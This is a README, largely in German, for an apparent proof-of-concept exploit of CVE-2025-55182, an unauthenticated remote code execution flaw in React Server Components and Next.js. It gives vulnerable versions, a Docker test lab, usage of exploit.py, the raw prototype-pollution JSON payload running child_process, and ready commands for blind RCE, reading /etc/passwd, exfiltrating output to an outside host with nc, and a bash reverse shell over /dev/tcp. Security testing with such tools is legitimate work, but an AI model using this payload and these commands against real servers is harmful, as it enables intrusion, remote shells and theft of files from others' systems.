
CVE-2025-55182 React2Shell PoC
Ein Proof-of-Concept-Exploit für CVE-2025-55182, eine kritische (CVSS 10.0) Schwachstelle für nicht authentifizierte Remotecodeausführung in React Server Components.
Entdeckt von Lachlan Davidson – Dem Meta/React-Team am 29. November 2025 gemeldet.
Die Schwachstelle liegt in der Deserialisierungslogik des React-Flight-Protokolls. Durch das Senden einer schädlichen Nutzlast per HTTP-POST kann ein Angreifer eine Prototype-Pollution erreichen, die zur Ausführung beliebigen Codes auf dem Server führt.
| Package | Verwundbare Versionen |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # exploit script
├── docker-compose.yml # Vulnerable test environment
├── vulnerable-app/ # Vulnerable Next.js application
└── README.md
docker compose up -d
Dies startet eine verwundbare Next.js-Anwendung unter http://localhost:3000.
python3 exploit.py -u http://localhost:3000 --check
Dies führt eine nicht ausnutzende Prüfung auf Indikatoren durch, einschließlich:
python3 exploit.py -u http://localhost:3000 -c "id"
Führt einen Befehl aus, ohne die Ausgabe anzuzeigen. Überprüfen mit:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
Ihre IP-Adresse; Port, auf dem gelauscht wird
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL Target URL
-c, --command CMD Command to execute
--check Check if vulnerable (non-exploitative)
--exfil HOST:PORT Exfiltrate output to HOST:PORT
--timeout TIMEOUT Request timeout (default: 10)
--no-verify Disable SSL verification
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Der Exploit beschädigt während der Ausführung den Serverstatus, wodurch die In-Band-Exfiltration der Antwort unzuverlässig wird. Das --exfil-Flag nutzt Out-of-Band-Exfiltration:
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Verwenden Sie es nur gegen Systeme, für die Sie eine Berechtigung zum Testen haben.